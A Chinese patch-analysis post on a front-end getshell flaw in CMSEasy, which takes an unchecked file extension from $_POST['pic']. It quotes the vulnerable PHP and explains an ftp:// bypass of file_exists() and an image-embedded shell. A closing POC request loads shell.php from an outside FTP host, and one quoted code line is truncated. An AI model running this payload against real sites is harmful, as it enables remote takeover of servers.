简要描述

CMSEasy官方在2016-10-12发布了一个补丁,描述只有两句话

前台getshell漏洞修正;

命令执行漏洞修正;

我们就根据补丁来分析一下这个前台Getshell漏洞。

漏洞详情

修改的文件不多,通过diff发现补丁中lib/default/tool_act.php 392行的cut_image_action()函数被注释了。

来看看这个函数

/*function cut_image_action() {

$len = 1;

if(config::get('base_url') != '/'){

$len = strlen(config::get('base_url'))+1;

}

if(substr($_POST['pic'],0,4) == 'http'){

front::$post['thumb'] = str_ireplace(config::get('site_url'),'',$_POST['pic']);

}else{

front::$post['thumb'] = substr($_POST['pic'],$len);

}

$thumb=new thumb();

$thumb->set(front::$post['thumb'],'jpg');

$img=$thumb->create_image($thumb->im,$_POST['w'],$_POST['h'],0,0,$_POST['x1'],$_POST['y1'],$_POST['x2'] -$_POST['x1'],$_POST['y2'$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));

$save_file='upload/images/'.date('Ym').'/'.$new_name;

@mkdir(dirname(ROOT.'/'.$save_file));

ob_start();

$thumb->out_image($img,null,85);

file_put_contents(ROOT.'/'.$save_file,ob_get_contents());

ob_end_clean();

$image_url=config::get('base_url').'/'.$save_file;

//$res['size']=ceil(strlen($img) / 1024);

$res['code']="

//$('#cut_preview').attr('src','$image_url');

$('#thumb').val('$image_url');

alert(lang('save_success'));

";

echo json::encode($res);

}

*/

看保存文件名的生成

$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));

直接用了$_POST['pic']的后缀做为新文件的扩展名,应该就是这里导致的getshell。

不过这里利用需要一点技巧

1、图片会经过php的图像库处理,如何在处理后仍然保留shell语句

2、远程加载图片需要通过file_exists函数的验证(要知道http(s)对于file_exists来说会固定返回false)

在正常图片中插入shell并无视图像库的处理 这个freebuf有介绍 国外也有不少分析,当然直接拿freebuf的方法应该是不成功的 需要一点小小的调整

关于file_exits()函数 ftp://协议就可以绕过 wrappers中有介绍

$len = 1;

5.0.0以上 就支持file_exists()了

这里构造payload还有一点需要注意的

if(config::get('base_url') != '/'){

$len = strlen(config::get('base_url'))+1;

}

if(substr($_POST['pic'],0,4) == 'http'){

front::$post['thumb'] =

str_ireplace(config::get('site_url'),'',$_POST['pic']);

}else{

front::$post['thumb'] = substr($_POST['pic'],$len);

}

如果$_POST['pic']开头4个字符不是http的话,就认为是本站的文件,会从前面抽取掉baseurl(等于返回文件相对路径)。

所以构造的时候 如果站点不是放在根目录 则需要在前面补位strlen(base_url)+2 如果放在根目录 也需要补上1位('/'的长度)。

POC

POST /index.php?case=tool&act=cut_image

pic=111111111ftp://ludas.pw/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146

本地测试截图

php ceil 漏洞,【技术分享】CmsEasy前台无限制GetShell相关推荐

  1. php strlen漏洞,CmsEasy前台无限制GetShell

    来源:阿里先知(安全情报) 简要描述 CMSEasy官方在2016-10-12发布了一个补丁,描述只有两句话 前台getshell漏洞修正: 命令执行漏洞修正: 我们就根据补丁来分析一下这个前台Get ...

  2. 飞飞php影视系统漏洞,飞飞影视最新版前台无限制getshell

    public function fetch($templateFile='',$charset='',$contentType='',$display=false) { //die('errorcod ...

  3. CmsEasy20160825前台无限制GetShell复现

    GetShell思路:根据里面漏洞代码直接取post数据后缀作为后缀这一特性,且CMS支持FTP. 利用FTP上传图片,通过下载上传的正常图片(已被PHP的GD库渲染)之后, 利用脚本在图片中插入pa ...

  4. 泛微OA9前台无限制getshell

    漏洞位于: /page/exportImport/uploadOperation.jsp文件中 Jsp流程大概是:判断请求是否是multipart请求,然就没有了,直接上传了,啊哈哈哈哈哈 重点关注F ...

  5. android4 设置栈大小,【技术分享】Android内核漏洞利用技术实战:环境搭建栈溢出实战...

    [技术分享]Android内核漏洞利用技术实战:环境搭建&栈溢出实战 2017-08-14 16:22:02 阅读:0次 预估稿费:300RMB 投稿方式:发送邮件至linwei#360.cn ...

  6. 阿里钉钉技术分享:企业级IM王者——钉钉在后端架构上的过人之处

    本文引用了唐小智发表于InfoQ公众号上的"钉钉企业级IM存储架构创新之道"一文的部分内容,收录时有改动,感谢原作者的无私分享. 1.引言 业界的 IM 产品在功能上同质化较高,而 ...

  7. Ajax post sql注入,cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)

    摘要 cmseasy前台无需登录直接获取敏感数据的SQL注入cmseasy 前台无� cmseasy前台无需登录直接获取敏感数据的SQL注入cmseasy 前台无视gpc的sql注入 我下载的是最新版 ...

  8. wps数据匹配怎么做_【VK技术分享】数据安全怎么做—静态数据的识别和治理

    前言 在当前的数据时代,随着云计算.大数据.AI等技术的不断发展,"数据"已经渗透到当今每一个行业和业务职能领域,成为重要的生产要素.数据的计量单位也至少是PB级别计算.这对于国家 ...

  9. 黄文俊:Serverless小程序后端技术分享

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 黄文俊,现任腾讯云SCF无服务器云函数高级产品经理,多年企业级系统开发和架构工作经验,对企业级存储.容器平台.微服务架构.无服务器计算等领域 ...

最新文章

  1. 博士因论文致谢走红后,回到母校演讲再刷屏!网友:是对寒门学子最好的激励...
  2. 【Java基础】字符串与数组
  3. 第九周项目实践2 二叉树遍历的递归算法
  4. DL之DNN:利用DNN【784→50→100→10】算法对MNIST手写数字图片识别数据集进行预测、模型优化
  5. ubuntu连接有线局域网后无法使用无线网卡上网
  6. golang学习之旅(2)- go的数据基本数据类型及变量定义方式
  7. Codeforces 374A - Inna and Pink Pony
  8. 中国未来的可能性思考- 系统化思维-公司培训
  9. 简约大气昼夜双色导航主题模板/WordPress导航主题模板
  10. 用户管理系统测试报告
  11. Opengl入门基础-基础知识
  12. Input length must be multiple of 8 when decrypting with padded cipher
  13. Pimple 容器使用
  14. (二)硕博生常用的外文文献检索方式推荐
  15. ElasticSearch:为中文分词器增加对英文的支持(让中文分词器可以处理中英文混合文档)(转)
  16. kali2020之chrome安装代理插件
  17. 2021年最新ABAQUS复合材料建模仿真与应用专题培训
  18. TeamViewer商业版改成免费版
  19. java 内存模型JMM解析
  20. springdata数据源的配置

热门文章

  1. L3-015. 球队“食物链”
  2. thinkphp实现微信分享朋友圈自定义图片和文字
  3. 使用C#制作Windows窗体应用,实现一个微端下载器功能(多线程/断点续传/微端/下载器)
  4. 华为海关单据识别服务--基于文字识别技术
  5. 5.数据立方体计算与数据泛化
  6. 【蚂蚁森林能量获取攻略】
  7. LINUX7-编译驱动文件时报错:cc1: error: code model kernel does not support PIC mode
  8. 发现之旅:探索托管 Helm Charts 的正确方式
  9. 单片机显示Image2Lcd生成的单色图像
  10. Java compiler level does not match the version of the instal project facet